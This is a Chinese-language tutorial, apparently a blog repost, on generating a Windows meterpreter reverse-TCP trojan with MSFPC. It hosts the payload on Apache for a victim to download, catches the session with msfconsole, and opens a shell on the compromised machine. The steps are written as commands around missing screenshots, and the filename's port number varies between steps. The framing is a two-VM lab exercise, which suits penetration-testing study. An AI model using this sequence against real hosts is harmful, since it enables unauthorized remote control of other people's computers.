自动生成html_使用MSFPC半自动化生成强大的木马Payload?【实战篇】

  • Post author:
  • Post category:其他


一、背景介绍

一般来说,生成payload的默认工具是MSFvenom,这是一个独立于Metasploit的payload生成器及编码器。虽然它是一个非常强大的payload生成神器,但是对于一些新手来说,可能难以在短时间内熟悉其操作。即使在进行最初的了解之后,生成一个基本的payload也需要输入相当多的内容,而今天,我们将看到使用MSFPC更便捷地生成paylaod。

MSFPC,或者说是MSFvenom Payload生成器,其实是一个基于MSFvenom的Payload生成器,但是它旨在简化基本的有效载荷创建过程,用户使用MSFPC可以尽可能简单地创建Payload,有时甚至只需要一个参数!如果你以前使用过MSFvenom,那么可能已经自行编写了一个简单的shell脚本来自动化频繁地生成Payload。即使这样,这个工具也绝对值得一试。

二、资源装备

1.安装好 Kali Linux 的虚拟机一台;

2.kali linux 受害者虚拟机一个;

3.整装待发的小白一个。

三、战略安排

3.1 查看监听主机的apapche2状态,如下图所示。

命令:service apapche2 status

3673fd836b08d0e5f1824b1cf4c2f246.png

3.2  开启监听主机的apapche2主机,如下图所示。

命令:service apache2 start

e2efc14bf95e394f10df7135d7e0f6b1.png

3.3 将生成的“windows-meterpreter-staged-reverse-tcp-555.exe”文件复制到apapche2目录下,如下图所示。

命令:cp windows-meterpreter-staged-reverse-tcp-555.exe /var/www/html

3b83b0972cc64ae51072420c9e57162e.png

3.4 删除“/var/www/html”目录下一些不相干的文件,只保留payload文件,如下图所示。

命令:rm /var/www/html/index.html

命令:rm /var/www/html/index.nginx-debian.html

7b9bfc835b7c5a68da4eb4438099b442.png
873122b4235d2ae1a0e4f08ac576db1b.png

3.5 查看“/var/www/html”目录下是否只存在payload文件,如下图所示。

命令:ls /var/www/html/

a643aaebc12785bd66b1e9868539e6e0.png

3.6 在物理机中访问处于监听状态下的kali linux主机,如下图所示。

18952539f3fd98de3d03a3e265da5f2d.png

3.7 将生成的payload文件下载到物理主机,如下图所示。

b52cbd71e3bca59abe54760882ab678a.png

3.8 连接payload文件,如下图所示。

命令:msfconsole -q -r ‘/root/windows-meterpreter-staged-reverse-tcp-5555-exe.rc’

376088fae8e8f0de346d57ba1d0094df.png
8a73526b81b34dda3b2424157c692a4f.png

3.9 查看session信息,如下图所示。

命令:session -i 1

675ba7ea6c074cdf52f9645fc1ea576a.png

b3d5127b86f215420a214873b396c830.png

3.10 成功拿下目标主机,如下图所示,查看目标主机的系统信息。

命令:sysinfo

76def5cf5b28d0254c9a2d35a8f8c683.png

3.10.1 利用shell访问目标主机,如下图所示。

命令:shell

5d88c81f17d6b2dad89255663379ed14.png

3.10.2 解决shell界面乱码问题,如下图所示。

chcp 65001

82b46f24f69bf4187de960cb21e377e6.png